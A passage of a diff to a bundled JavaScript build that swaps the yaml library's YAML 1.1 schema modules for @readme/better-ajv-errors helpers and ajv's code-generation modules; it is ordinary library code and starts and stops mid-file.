Object.defineProperty(exports28, "PatternValidationError", { + enumerable: true, + get: function get4() { + return _pattern["default"]; + } + }); + Object.defineProperty(exports28, "RequiredValidationError", { + enumerable: true, + get: function get4() { + return _required["default"]; + } + }); + Object.defineProperty(exports28, "UnevaluatedPropValidationError", { + enumerable: true, + get: function get4() { + return _unevaluatedProp["default"]; + } + }); + var _additionalProp = _interopRequireDefault(require_additional_prop()); + var _default2 = _interopRequireDefault(require_default()); + var _enum = _interopRequireDefault(require_enum()); + var _pattern = _interopRequireDefault(require_pattern()); + var _required = _interopRequireDefault(require_required()); + var _unevaluatedProp = _interopRequireDefault(require_unevaluated_prop()); } }); -// node_modules/yaml/browser/dist/schema/yaml-1.1/binary.js -var binary; -var init_binary = __esm({ - "node_modules/yaml/browser/dist/schema/yaml-1.1/binary.js"() { +// node_modules/@readme/better-ajv-errors/lib/helpers.js +var require_helpers = __commonJS({ + "node_modules/@readme/better-ajv-errors/lib/helpers.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_Scalar(); - init_stringifyString(); - binary = { - identify: (value2) => value2 instanceof Uint8Array, - // Buffer inherits from Uint8Array - default: false, - tag: "tag:yaml.org,2002:binary", - /** - * Returns a Buffer in node and an Uint8Array in browsers - * - * To use the resulting buffer as an image, you'll want to do something like: - * - * const blob = new Blob([buffer], { type: 'image/jpeg' }) - * document.querySelector('#photo').src = URL.createObjectURL(blob) - */ - resolve(src, onError) { - if (typeof atob === "function") { - const str2 = atob(src.replace(/[\n\r]/g, "")); - const buffer2 = new Uint8Array(str2.length); - for (let i7 = 0; i7 < str2.length; ++i7) - buffer2[i7] = str2.charCodeAt(i7); - return buffer2; - } else { - onError("This environment does not support reading binary tags; either Buffer or atob is required"); - return src; - } - }, - stringify({ comment, type: type3, value: value2 }, ctx, onComment, onChompKeep) { - if (!value2) - return ""; - const buf = value2; - let str2; - if (typeof btoa === "function") { - let s7 = ""; - for (let i7 = 0; i7 < buf.length; ++i7) - s7 += String.fromCharCode(buf[i7]); - str2 = btoa(s7); - } else { - throw new Error("This environment does not support writing binary tags; either Buffer or btoa is required"); - } - type3 ?? (type3 = Scalar.BLOCK_LITERAL); - if (type3 !== Scalar.QUOTE_DOUBLE) { - const lineWidth = Math.max(ctx.options.lineWidth - ctx.indent.length, ctx.options.minContentWidth); - const n7 = Math.ceil(str2.length / lineWidth); - const lines = new Array(n7); - for (let i7 = 0, o7 = 0; i7 < n7; ++i7, o7 += lineWidth) { - lines[i7] = str2.substr(o7, lineWidth); - } - str2 = lines.join(type3 === Scalar.BLOCK_LITERAL ? "\n" : " "); - } - return stringifyString({ comment, type: type3, value: str2 }, ctx, onComment, onChompKeep); + var _interopRequireDefault = require_interopRequireDefault(); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + exports28.createErrorInstances = createErrorInstances; + exports28["default"] = prettify2; + exports28.filterRedundantErrors = filterRedundantErrors; + exports28.makeTree = makeTree; + var _defineProperty2 = _interopRequireDefault(require_defineProperty()); + var _toConsumableArray22 = _interopRequireDefault(require_toConsumableArray()); + var _slicedToArray2 = _interopRequireDefault(require_slicedToArray()); + var _utils = require_utils(); + var _validationErrors = require_validation_errors(); + function ownKeys2(e10, r8) { + var t8 = Object.keys(e10); + if (Object.getOwnPropertySymbols) { + var o7 = Object.getOwnPropertySymbols(e10); + r8 && (o7 = o7.filter(function(r9) { + return Object.getOwnPropertyDescriptor(e10, r9).enumerable; + })), t8.push.apply(t8, o7); } - }; - } -}); - -// node_modules/yaml/browser/dist/schema/yaml-1.1/pairs.js -function resolvePairs(seq3, onError) { - if (isSeq(seq3)) { - for (let i7 = 0; i7 < seq3.items.length; ++i7) { - let item = seq3.items[i7]; - if (isPair(item)) - continue; - else if (isMap(item)) { - if (item.items.length > 1) - onError("Each pair must have its own sequence indicator"); - const pair = item.items[0] || new Pair(new Scalar(null)); - if (item.commentBefore) - pair.key.commentBefore = pair.key.commentBefore ? `${item.commentBefore} -${pair.key.commentBefore}` : item.commentBefore; - if (item.comment) { - const cn = pair.value ?? pair.key; - cn.comment = cn.comment ? `${item.comment} -${cn.comment}` : item.comment; - } - item = pair; + return t8; + } + function _objectSpread(e10) { + for (var r8 = 1; r8 < arguments.length; r8++) { + var t8 = null != arguments[r8] ? arguments[r8] : {}; + r8 % 2 ? ownKeys2(Object(t8), true).forEach(function(r9) { + (0, _defineProperty2["default"])(e10, r9, t8[r9]); + }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e10, Object.getOwnPropertyDescriptors(t8)) : ownKeys2(Object(t8)).forEach(function(r9) { + Object.defineProperty(e10, r9, Object.getOwnPropertyDescriptor(t8, r9)); + }); } - seq3.items[i7] = isPair(item) ? item : new Pair(item); + return e10; } - } else - onError("Expected a sequence for this tag"); - return seq3; -} -function createPairs(schema8, iterable, ctx) { - const { replacer } = ctx; - const pairs3 = new YAMLSeq(schema8); - pairs3.tag = "tag:yaml.org,2002:pairs"; - let i7 = 0; - if (iterable && Symbol.iterator in Object(iterable)) - for (let it2 of iterable) { - if (typeof replacer === "function") - it2 = replacer.call(iterable, String(i7++), it2); - let key, value2; - if (Array.isArray(it2)) { - if (it2.length === 2) { - key = it2[0]; - value2 = it2[1]; - } else - throw new TypeError(`Expected [key, value] tuple: ${it2}`); - } else if (it2 && it2 instanceof Object) { - const keys2 = Object.keys(it2); - if (keys2.length === 1) { - key = keys2[0]; - value2 = it2[key]; - } else { - throw new TypeError(`Expected tuple with one key, not ${keys2.length} keys`); + var JSON_POINTERS_REGEX = /\/[\w_-]+(\/\d+)?/g; + function makeTree() { + var ajvErrors5 = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : []; + var root2 = { + children: {} + }; + ajvErrors5.forEach(function(ajvError) { + var instancePath = typeof ajvError.instancePath !== "undefined" ? ajvError.instancePath : ajvError.dataPath; + var paths = instancePath === "" ? [""] : instancePath.match(JSON_POINTERS_REGEX); + if (paths) { + paths.reduce(function(obj, path2, i7) { + obj.children[path2] = obj.children[path2] || { + children: {}, + errors: [] + }; + if (i7 === paths.length - 1) { + obj.children[path2].errors.push(ajvError); + } + return obj.children[path2]; + }, root2); } - } else { - key = it2; - } - pairs3.items.push(createPair(key, value2, ctx)); + }); + return root2; } - return pairs3; -} -var pairs; -var init_pairs = __esm({ - "node_modules/yaml/browser/dist/schema/yaml-1.1/pairs.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_identity(); - init_Pair(); - init_Scalar(); - init_YAMLSeq(); - pairs = { - collection: "seq", - default: false, - tag: "tag:yaml.org,2002:pairs", - resolve: resolvePairs, - createNode: createPairs - }; - } -}); - -// node_modules/yaml/browser/dist/schema/yaml-1.1/omap.js -var YAMLOMap, omap; -var init_omap = __esm({ - "node_modules/yaml/browser/dist/schema/yaml-1.1/omap.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_identity(); - init_toJS(); - init_YAMLMap(); - init_YAMLSeq(); - init_pairs(); - YAMLOMap = class _YAMLOMap extends YAMLSeq { - constructor() { - super(); - this.add = YAMLMap.prototype.add.bind(this); - this.delete = YAMLMap.prototype.delete.bind(this); - this.get = YAMLMap.prototype.get.bind(this); - this.has = YAMLMap.prototype.has.bind(this); - this.set = YAMLMap.prototype.set.bind(this); - this.tag = _YAMLOMap.tag; + function filterRedundantErrors(root2, parent2, key) { + (0, _utils.getErrors)(root2).forEach(function(error2) { + if ((0, _utils.isRequiredError)(error2)) { + root2.errors = [error2]; + root2.children = {}; + } + }); + if ((0, _utils.getErrors)(root2).some(_utils.isAnyOfError)) { + if (Object.keys(root2.children).length > 0) { + delete root2.errors; + } } - /** - * If `ctx` is given, the return type is actually `Map`, - * but TypeScript won't allow widening the signature of a child method. - */ - toJSON(_6, ctx) { - if (!ctx) - return super.toJSON(_6); - const map4 = /* @__PURE__ */ new Map(); - if (ctx?.onCreate) - ctx.onCreate(map4); - for (const pair of this.items) { - let key, value2; - if (isPair(pair)) { - key = toJS(pair.key, "", ctx); - value2 = toJS(pair.value, key, ctx); - } else { - key = toJS(pair, "", ctx); - } - if (map4.has(key)) - throw new Error("Ordered maps must not include duplicate keys"); - map4.set(key, value2); + if (root2.errors && root2.errors.length && (0, _utils.getErrors)(root2).every(_utils.isEnumError)) { + if ((0, _utils.getSiblings)(parent2)(root2).filter(_utils.notUndefined).some(_utils.getErrors)) { + delete parent2.children[key]; } - return map4; } - static from(schema8, iterable, ctx) { - const pairs3 = createPairs(schema8, iterable, ctx); - const omap3 = new this(); - omap3.items = pairs3.items; - return omap3; - } - }; - YAMLOMap.tag = "tag:yaml.org,2002:omap"; - omap = { - collection: "seq", - identify: (value2) => value2 instanceof Map, - nodeClass: YAMLOMap, - default: false, - tag: "tag:yaml.org,2002:omap", - resolve(seq3, onError) { - const pairs3 = resolvePairs(seq3, onError); - const seenKeys = []; - for (const { key } of pairs3.items) { - if (isScalar(key)) { - if (seenKeys.includes(key.value)) { - onError(`Ordered maps must not include duplicate keys: ${key.value}`); - } else { - seenKeys.push(key.value); - } + Object.entries(root2.children).forEach(function(_ref) { + var _ref2 = (0, _slicedToArray2["default"])(_ref, 2), k6 = _ref2[0], child = _ref2[1]; + return filterRedundantErrors(child, root2, k6); + }); + } + function createErrorInstances(root2, options) { + var errors = (0, _utils.getErrors)(root2); + if (errors.length && errors.every(_utils.isEnumError)) { + var uniqueValues = new Set((0, _utils.concatAll)([])(errors.map(function(e10) { + return e10.params.allowedValues; + }))); + var allowedValues = (0, _toConsumableArray22["default"])(uniqueValues); + var error2 = errors[0]; + return [new _validationErrors.EnumValidationError(_objectSpread(_objectSpread({}, error2), {}, { + params: { + allowedValues } + }), options)]; + } + return (0, _utils.concatAll)(errors.reduce(function(ret, error3) { + switch (error3.keyword) { + case "additionalProperties": + return ret.concat(new _validationErrors.AdditionalPropValidationError(error3, options)); + case "pattern": + return ret.concat(new _validationErrors.PatternValidationError(error3, options)); + case "required": + return ret.concat(new _validationErrors.RequiredValidationError(error3, options)); + case "unevaluatedProperties": + return ret.concat(new _validationErrors.UnevaluatedPropValidationError(error3, options)); + default: + return ret.concat(new _validationErrors.DefaultValidationError(error3, options)); } - return Object.assign(new YAMLOMap(), pairs3); - }, - createNode: (schema8, iterable, ctx) => YAMLOMap.from(schema8, iterable, ctx) - }; + }, []))((0, _utils.getChildren)(root2).map(function(child) { + return createErrorInstances(child, options); + })); + } + function prettify2(ajvErrors5, options) { + var tree = makeTree(ajvErrors5 || []); + filterRedundantErrors(tree); + return createErrorInstances(tree, options); + } } }); -// node_modules/yaml/browser/dist/schema/yaml-1.1/bool.js -function boolStringify({ value: value2, source }, ctx) { - const boolObj = value2 ? trueTag : falseTag; - if (source && boolObj.test.test(source)) - return source; - return value2 ? ctx.options.trueStr : ctx.options.falseStr; -} -var trueTag, falseTag; -var init_bool2 = __esm({ - "node_modules/yaml/browser/dist/schema/yaml-1.1/bool.js"() { +// node_modules/@readme/better-ajv-errors/lib/index.js +var require_lib3 = __commonJS({ + "node_modules/@readme/better-ajv-errors/lib/index.js"(exports28, module5) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_Scalar(); - trueTag = { - identify: (value2) => value2 === true, - default: true, - tag: "tag:yaml.org,2002:bool", - test: /^(?:Y|y|[Yy]es|YES|[Tt]rue|TRUE|[Oo]n|ON)$/, - resolve: () => new Scalar(true), - stringify: boolStringify - }; - falseTag = { - identify: (value2) => value2 === false, - default: true, - tag: "tag:yaml.org,2002:bool", - test: /^(?:N|n|[Nn]o|NO|[Ff]alse|FALSE|[Oo]ff|OFF)$/, - resolve: () => new Scalar(false), - stringify: boolStringify - }; + var _interopRequireDefault = require_interopRequireDefault(); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + exports28["default"] = betterAjvErrors2; + var _momoa = require_api(); + var _helpers = _interopRequireDefault(require_helpers()); + function betterAjvErrors2(schema8, data, errors) { + var options = arguments.length > 3 && arguments[3] !== void 0 ? arguments[3] : {}; + var _options$colorize = options.colorize, colorize = _options$colorize === void 0 ? true : _options$colorize, _options$format = options.format, format5 = _options$format === void 0 ? "cli" : _options$format, _options$indent = options.indent, indent = _options$indent === void 0 ? null : _options$indent, _options$json = options.json, json2 = _options$json === void 0 ? null : _options$json; + var jsonRaw = json2 || JSON.stringify(data, null, indent); + var jsonAst = (0, _momoa.parse)(jsonRaw); + var customErrorToText = function customErrorToText2(error2) { + return error2.print().join("\n"); + }; + var customErrorToStructure = function customErrorToStructure2(error2) { + return error2.getError(); + }; + var customErrors = (0, _helpers["default"])(errors, { + colorize, + data, + schema: schema8, + jsonAst, + jsonRaw + }); + if (format5 === "cli") { + return customErrors.map(customErrorToText).join("\n\n"); + } else if (format5 === "cli-array") { + return customErrors.map(function(error2) { + return { + message: customErrorToText(error2) + }; + }); + } + return customErrors.map(customErrorToStructure); + } + module5.exports = exports28.default; } }); -// node_modules/yaml/browser/dist/schema/yaml-1.1/float.js -var floatNaN2, floatExp2, float2; -var init_float2 = __esm({ - "node_modules/yaml/browser/dist/schema/yaml-1.1/float.js"() { +// node_modules/ajv/dist/compile/codegen/code.js +var require_code = __commonJS({ + "node_modules/ajv/dist/compile/codegen/code.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_Scalar(); - init_stringifyNumber(); - floatNaN2 = { - identify: (value2) => typeof value2 === "number", - default: true, - tag: "tag:yaml.org,2002:float", - test: /^(?:[-+]?\.(?:inf|Inf|INF)|\.nan|\.NaN|\.NAN)$/, - resolve: (str2) => str2.slice(-3).toLowerCase() === "nan" ? NaN : str2[0] === "-" ? Number.NEGATIVE_INFINITY : Number.POSITIVE_INFINITY, - stringify: stringifyNumber + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.regexpCode = exports28.getEsmExportName = exports28.getProperty = exports28.safeStringify = exports28.stringify = exports28.strConcat = exports28.addCodeArg = exports28.str = exports28._ = exports28.nil = exports28._Code = exports28.Name = exports28.IDENTIFIER = exports28._CodeOrName = void 0; + var _CodeOrName = class { }; - floatExp2 = { - identify: (value2) => typeof value2 === "number", - default: true, - tag: "tag:yaml.org,2002:float", - format: "EXP", - test: /^[-+]?(?:[0-9][0-9_]*)?(?:\.[0-9_]*)?[eE][-+]?[0-9]+$/, - resolve: (str2) => parseFloat(str2.replace(/_/g, "")), - stringify(node) { - const num = Number(node.value); - return isFinite(num) ? num.toExponential() : stringifyNumber(node); + exports28._CodeOrName = _CodeOrName; + exports28.IDENTIFIER = /^[a-z$_][a-z$_0-9]*$/i; + var Name = class extends _CodeOrName { + constructor(s7) { + super(); + if (!exports28.IDENTIFIER.test(s7)) + throw new Error("CodeGen: name must be a valid identifier"); + this.str = s7; + } + toString() { + return this.str; + } + emptyStr() { + return false; + } + get names() { + return { [this.str]: 1 }; } }; - float2 = { - identify: (value2) => typeof value2 === "number", - default: true, - tag: "tag:yaml.org,2002:float", - test: /^[-+]?(?:[0-9][0-9_]*)?\.[0-9_]*$/, - resolve(str2) { - const node = new Scalar(parseFloat(str2.replace(/_/g, ""))); - const dot = str2.indexOf("."); - if (dot !== -1) { - const f8 = str2.substring(dot + 1).replace(/_/g, ""); - if (f8[f8.length - 1] === "0") - node.minFractionDigits = f8.length; - } - return node; - }, - stringify: stringifyNumber + exports28.Name = Name; + var _Code = class extends _CodeOrName { + constructor(code) { + super(); + this._items = typeof code === "string" ? [code] : code; + } + toString() { + return this.str; + } + emptyStr() { + if (this._items.length > 1) + return false; + const item = this._items[0]; + return item === "" || item === '""'; + } + get str() { + var _a2; + return (_a2 = this._str) !== null && _a2 !== void 0 ? _a2 : this._str = this._items.reduce((s7, c7) => `${s7}${c7}`, ""); + } + get names() { + var _a2; + return (_a2 = this._names) !== null && _a2 !== void 0 ? _a2 : this._names = this._items.reduce((names, c7) => { + if (c7 instanceof Name) + names[c7.str] = (names[c7.str] || 0) + 1; + return names; + }, {}); + } }; + exports28._Code = _Code; + exports28.nil = new _Code(""); + function _6(strs, ...args) { + const code = [strs[0]]; + let i7 = 0; + while (i7 < args.length) { + addCodeArg(code, args[i7]); + code.push(strs[++i7]); + } + return new _Code(code); + } + exports28._ = _6; + var plus = new _Code("+"); + function str2(strs, ...args) { + const expr = [safeStringify2(strs[0])]; + let i7 = 0; + while (i7 < args.length) { + expr.push(plus); + addCodeArg(expr, args[i7]); + expr.push(plus, safeStringify2(strs[++i7])); + } + optimize(expr); + return new _Code(expr); + } + exports28.str = str2; + function addCodeArg(code, arg) { + if (arg instanceof _Code) + code.push(...arg._items); + else if (arg instanceof Name) + code.push(arg); + else + code.push(interpolate(arg)); + } + exports28.addCodeArg = addCodeArg; + function optimize(expr) { + let i7 = 1; + while (i7 < expr.length - 1) { + if (expr[i7] === plus) { + const res = mergeExprItems(expr[i7 - 1], expr[i7 + 1]); + if (res !== void 0) { + expr.splice(i7 - 1, 3, res); + continue; + } + expr[i7++] = "+"; + } + i7++; + } + } + function mergeExprItems(a7, b8) { + if (b8 === '""') + return a7; + if (a7 === '""') + return b8; + if (typeof a7 == "string") { + if (b8 instanceof Name || a7[a7.length - 1] !== '"') + return; + if (typeof b8 != "string") + return `${a7.slice(0, -1)}${b8}"`; + if (b8[0] === '"') + return a7.slice(0, -1) + b8.slice(1); + return; + } + if (typeof b8 == "string" && b8[0] === '"' && !(a7 instanceof Name)) + return `"${a7}${b8.slice(1)}`; + return; + } + function strConcat(c1, c22) { + return c22.emptyStr() ? c1 : c1.emptyStr() ? c22 : str2`${c1}${c22}`; + } + exports28.strConcat = strConcat; + function interpolate(x7) { + return typeof x7 == "number" || typeof x7 == "boolean" || x7 === null ? x7 : safeStringify2(Array.isArray(x7) ? x7.join(",") : x7); + } + function stringify5(x7) { + return new _Code(safeStringify2(x7)); + } + exports28.stringify = stringify5; + function safeStringify2(x7) { + return JSON.stringify(x7).replace(/\u2028/g, "\\u2028").replace(/\u2029/g, "\\u2029"); + } + exports28.safeStringify = safeStringify2; + function getProperty(key) { + return typeof key == "string" && exports28.IDENTIFIER.test(key) ? new _Code(`.${key}`) : _6`[${key}]`; + } + exports28.getProperty = getProperty; + function getEsmExportName(key) { + if (typeof key == "string" && exports28.IDENTIFIER.test(key)) { + return new _Code(`${key}`); + } + throw new Error(`CodeGen: invalid export name: ${key}, use explicit $id name mapping`); + } + exports28.getEsmExportName = getEsmExportName; + function regexpCode(rx) { + return new _Code(rx.toString()); + } + exports28.regexpCode = regexpCode; } }); -// node_modules/yaml/browser/dist/schema/yaml-1.1/int.js -function intResolve2(str2, offset, radix, { intAsBigInt }) { - const sign = str2[0]; - if (sign === "-" || sign === "+") - offset += 1; - str2 = str2.substring(offset).replace(/_/g, ""); - if (intAsBigInt) { - switch (radix) { - case 2: - str2 = `0b${str2}`; - break; - case 8: - str2 = `0o${str2}`; - break; - case 16: - str2 = `0x${str2}`; - break; - } - const n8 = BigInt(str2); - return sign === "-" ? BigInt(-1) * n8 : n8; - } - const n7 = parseInt(str2, radix); - return sign === "-" ? -1 * n7 : n7; -} -function intStringify2(node, radix, prefix) { - const { value: value2 } = node; - if (intIdentify3(value2)) { - const str2 = value2.toString(radix); - return value2 < 0 ? "-" + prefix + str2.substr(1) : prefix + str2; - } - return stringifyNumber(node); -} -var intIdentify3, intBin, intOct2, int2, intHex2; -var init_int2 = __esm({ - "node_modules/yaml/browser/dist/schema/yaml-1.1/int.js"() { +// node_modules/ajv/dist/compile/codegen/scope.js +var require_scope = __commonJS({ + "node_modules/ajv/dist/compile/codegen/scope.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_stringifyNumber(); - intIdentify3 = (value2) => typeof value2 === "bigint" || Number.isInteger(value2); - intBin = { - identify: intIdentify3, - default: true, - tag: "tag:yaml.org,2002:int", - format: "BIN", - test: /^[-+]?0b[0-1_]+$/, - resolve: (str2, _onError, opt) => intResolve2(str2, 2, 2, opt), - stringify: (node) => intStringify2(node, 2, "0b") - }; - intOct2 = { - identify: intIdentify3, - default: true, - tag: "tag:yaml.org,2002:int", - format: "OCT", - test: /^[-+]?0[0-7_]+$/, - resolve: (str2, _onError, opt) => intResolve2(str2, 1, 8, opt), - stringify: (node) => intStringify2(node, 8, "0") - }; - int2 = { - identify: intIdentify3, - default: true, - tag: "tag:yaml.org,2002:int", - test: /^[-+]?[0-9][0-9_]*$/, - resolve: (str2, _onError, opt) => intResolve2(str2, 0, 10, opt), - stringify: stringifyNumber + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.ValueScope = exports28.ValueScopeName = exports28.Scope = exports28.varKinds = exports28.UsedValueState = void 0; + var code_1 = require_code(); + var ValueError = class extends Error { + constructor(name2) { + super(`CodeGen: "code" for ${name2} not defined`); + this.value = name2.value; + } }; - intHex2 = { - identify: intIdentify3, - default: true, - tag: "tag:yaml.org,2002:int", - format: "HEX", - test: /^[-+]?0x[0-9a-fA-F_]+$/, - resolve: (str2, _onError, opt) => intResolve2(str2, 2, 16, opt), - stringify: (node) => intStringify2(node, 16, "0x") + var UsedValueState; + (function(UsedValueState2) { + UsedValueState2[UsedValueState2["Started"] = 0] = "Started"; + UsedValueState2[UsedValueState2["Completed"] = 1] = "Completed"; + })(UsedValueState || (exports28.UsedValueState = UsedValueState = {})); + exports28.varKinds = { + const: new code_1.Name("const"), + let: new code_1.Name("let"), + var: new code_1.Name("var") }; - } -}); - -// node_modules/yaml/browser/dist/schema/yaml-1.1/set.js -var YAMLSet, set; -var init_set = __esm({ - "node_modules/yaml/browser/dist/schema/yaml-1.1/set.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_identity(); - init_Pair(); - init_YAMLMap(); - YAMLSet = class _YAMLSet extends YAMLMap { - constructor(schema8) { - super(schema8); - this.tag = _YAMLSet.tag; - } - add(key) { - let pair; - if (isPair(key)) - pair = key; - else if (key && typeof key === "object" && "key" in key && "value" in key && key.value === null) - pair = new Pair(key.key, null); - else - pair = new Pair(key, null); - const prev = findPair(this.items, pair.key); - if (!prev) - this.items.push(pair); + var Scope = class { + constructor({ prefixes, parent: parent2 } = {}) { + this._names = {}; + this._prefixes = prefixes; + this._parent = parent2; } - /** - * If `keepPair` is `true`, returns the Pair matching `key`. - * Otherwise, returns the value of that Pair's key. - */ - get(key, keepPair) { - const pair = findPair(this.items, key); - return !keepPair && isPair(pair) ? isScalar(pair.key) ? pair.key.value : pair.key : pair; - } - set(key, value2) { - if (typeof value2 !== "boolean") - throw new Error(`Expected boolean value for set(key, value) in a YAML set, not ${typeof value2}`); - const prev = findPair(this.items, key); - if (prev && !value2) { - this.items.splice(this.items.indexOf(prev), 1); - } else if (!prev && value2) { - this.items.push(new Pair(key)); - } - } - toJSON(_6, ctx) { - return super.toJSON(_6, ctx, Set); - } - toString(ctx, onComment, onChompKeep) { - if (!ctx) - return JSON.stringify(this); - if (this.hasAllNullValues(true)) - return super.toString(Object.assign({}, ctx, { allNullValues: true }), onComment, onChompKeep); - else - throw new Error("Set items must all have null values"); + toName(nameOrPrefix) { + return nameOrPrefix instanceof code_1.Name ? nameOrPrefix : this.name(nameOrPrefix); } - static from(schema8, iterable, ctx) { - const { replacer } = ctx; - const set4 = new this(schema8); - if (iterable && Symbol.iterator in Object(iterable)) - for (let value2 of iterable) { - if (typeof replacer === "function") - value2 = replacer.call(iterable, value2, value2); - set4.items.push(createPair(value2, null, ctx)); - } - return set4; + name(prefix) { + return new code_1.Name(this._newName(prefix)); + } + _newName(prefix) { + const ng = this._names[prefix] || this._nameGroup(prefix); + return `${prefix}${ng.index++}`; + } + _nameGroup(prefix) { + var _a2, _b; + if (((_b = (_a2 = this._parent) === null || _a2 === void 0 ? void 0 : _a2._prefixes) === null || _b === void 0 ? void 0 : _b.has(prefix)) || this._prefixes && !this._prefixes.has(prefix)) { + throw new Error(`CodeGen: prefix "${prefix}" is not allowed in this scope`); + } + return this._names[prefix] = { prefix, index: 0 }; } }; - YAMLSet.tag = "tag:yaml.org,2002:set"; - set = { - collection: "map", - identify: (value2) => value2 instanceof Set, - nodeClass: YAMLSet, - default: false, - tag: "tag:yaml.org,2002:set", - createNode: (schema8, iterable, ctx) => YAMLSet.from(schema8, iterable, ctx), - resolve(map4, onError) { - if (isMap(map4)) { - if (map4.hasAllNullValues(true)) - return Object.assign(new YAMLSet(), map4); - else - onError("Set items must all have null values"); - } else - onError("Expected a mapping for this tag"); - return map4; + exports28.Scope = Scope; + var ValueScopeName = class extends code_1.Name { + constructor(prefix, nameStr) { + super(nameStr); + this.prefix = prefix; + } + setValue(value2, { property: property2, itemIndex }) { + this.value = value2; + this.scopePath = (0, code_1._)`.${new code_1.Name(property2)}[${itemIndex}]`; } }; - } -}); - -// node_modules/yaml/browser/dist/schema/yaml-1.1/timestamp.js -function parseSexagesimal(str2, asBigInt) { - const sign = str2[0]; - const parts = sign === "-" || sign === "+" ? str2.substring(1) : str2; - const num = (n7) => asBigInt ? BigInt(n7) : Number(n7); - const res = parts.replace(/_/g, "").split(":").reduce((res2, p7) => res2 * num(60) + num(p7), num(0)); - return sign === "-" ? num(-1) * res : res; -} -function stringifySexagesimal(node) { - let { value: value2 } = node; - let num = (n7) => n7; - if (typeof value2 === "bigint") - num = (n7) => BigInt(n7); - else if (isNaN(value2) || !isFinite(value2)) - return stringifyNumber(node); - let sign = ""; - if (value2 < 0) { - sign = "-"; - value2 *= num(-1); - } - const _60 = num(60); - const parts = [value2 % _60]; - if (value2 < 60) { - parts.unshift(0); - } else { - value2 = (value2 - parts[0]) / _60; - parts.unshift(value2 % _60); - if (value2 >= 60) { - value2 = (value2 - parts[0]) / _60; - parts.unshift(value2); - } - } - return sign + parts.map((n7) => String(n7).padStart(2, "0")).join(":").replace(/000000\d*$/, ""); -} -var intTime, floatTime, timestamp; -var init_timestamp = __esm({ - "node_modules/yaml/browser/dist/schema/yaml-1.1/timestamp.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_stringifyNumber(); - intTime = { - identify: (value2) => typeof value2 === "bigint" || Number.isInteger(value2), - default: true, - tag: "tag:yaml.org,2002:int", - format: "TIME", - test: /^[-+]?[0-9][0-9_]*(?::[0-5]?[0-9])+$/, - resolve: (str2, _onError, { intAsBigInt }) => parseSexagesimal(str2, intAsBigInt), - stringify: stringifySexagesimal - }; - floatTime = { - identify: (value2) => typeof value2 === "number", - default: true, - tag: "tag:yaml.org,2002:float", - format: "TIME", - test: /^[-+]?[0-9][0-9_]*(?::[0-5]?[0-9])+\.[0-9_]*$/, - resolve: (str2) => parseSexagesimal(str2, false), - stringify: stringifySexagesimal - }; - timestamp = { - identify: (value2) => value2 instanceof Date, - default: true, - tag: "tag:yaml.org,2002:timestamp", - // If the time zone is omitted, the timestamp is assumed to be specified in UTC. The time part - // may be omitted altogether, resulting in a date format. In such a case, the time part is - // assumed to be 00:00:00Z (start of day, UTC). - test: RegExp("^([0-9]{4})-([0-9]{1,2})-([0-9]{1,2})(?:(?:t|T|[ \\t]+)([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2}(\\.[0-9]+)?)(?:[ \\t]*(Z|[-+][012]?[0-9](?::[0-9]{2})?))?)?$"), - resolve(str2) { - const match = str2.match(timestamp.test); - if (!match) - throw new Error("!!timestamp expects a date, starting with yyyy-mm-dd"); - const [, year, month, day, hour, minute, second] = match.map(Number); - const millisec = match[7] ? Number((match[7] + "00").substr(1, 3)) : 0; - let date = Date.UTC(year, month - 1, day, hour || 0, minute || 0, second || 0, millisec); - const tz = match[8]; - if (tz && tz !== "Z") { - let d7 = parseSexagesimal(tz, false); - if (Math.abs(d7) < 30) - d7 *= 60; - date -= 6e4 * d7; - } - return new Date(date); - }, - stringify: ({ value: value2 }) => value2?.toISOString().replace(/(T00:00:00)?\.000Z$/, "") ?? "" + exports28.ValueScopeName = ValueScopeName; + var line = (0, code_1._)`\n`; + var ValueScope = class extends Scope { + constructor(opts) { + super(opts); + this._values = {}; + this._scope = opts.scope; + this.opts = { ...opts, _n: opts.lines ? line : code_1.nil }; + } + get() { + return this._scope; + } + name(prefix) { + return new ValueScopeName(prefix, this._newName(prefix)); + } + value(nameOrPrefix, value2) { + var _a2; + if (value2.ref === void 0) + throw new Error("CodeGen: ref must be passed in value"); + const name2 = this.toName(nameOrPrefix); + const { prefix } = name2; + const valueKey = (_a2 = value2.key) !== null && _a2 !== void 0 ? _a2 : value2.ref; + let vs = this._values[prefix]; + if (vs) { + const _name = vs.get(valueKey); + if (_name) + return _name; + } else { + vs = this._values[prefix] = /* @__PURE__ */ new Map(); + } + vs.set(valueKey, name2); + const s7 = this._scope[prefix] || (this._scope[prefix] = []); + const itemIndex = s7.length; + s7[itemIndex] = value2.ref; + name2.setValue(value2, { property: prefix, itemIndex }); + return name2; + } + getValue(prefix, keyOrRef) { + const vs = this._values[prefix]; + if (!vs) + return; + return vs.get(keyOrRef); + } + scopeRefs(scopeName, values2 = this._values) { + return this._reduceValues(values2, (name2) => { + if (name2.scopePath === void 0) + throw new Error(`CodeGen: name "${name2}" has no value`); + return (0, code_1._)`${scopeName}${name2.scopePath}`; + }); + } + scopeCode(values2 = this._values, usedValues, getCode) { + return this._reduceValues(values2, (name2) => { + if (name2.value === void 0) + throw new Error(`CodeGen: name "${name2}" has no value`); + return name2.value.code; + }, usedValues, getCode); + } + _reduceValues(values2, valueCode, usedValues = {}, getCode) { + let code = code_1.nil; + for (const prefix in values2) { + const vs = values2[prefix]; + if (!vs) + continue; + const nameSet = usedValues[prefix] = usedValues[prefix] || /* @__PURE__ */ new Map(); + vs.forEach((name2) => { + if (nameSet.has(name2)) + return; + nameSet.set(name2, UsedValueState.Started); + let c7 = valueCode(name2); + if (c7) { + const def = this.opts.es5 ? exports28.varKinds.var : exports28.varKinds.const; + code = (0, code_1._)`${code}${def} ${name2} = ${c7};${this.opts._n}`; + } else if (c7 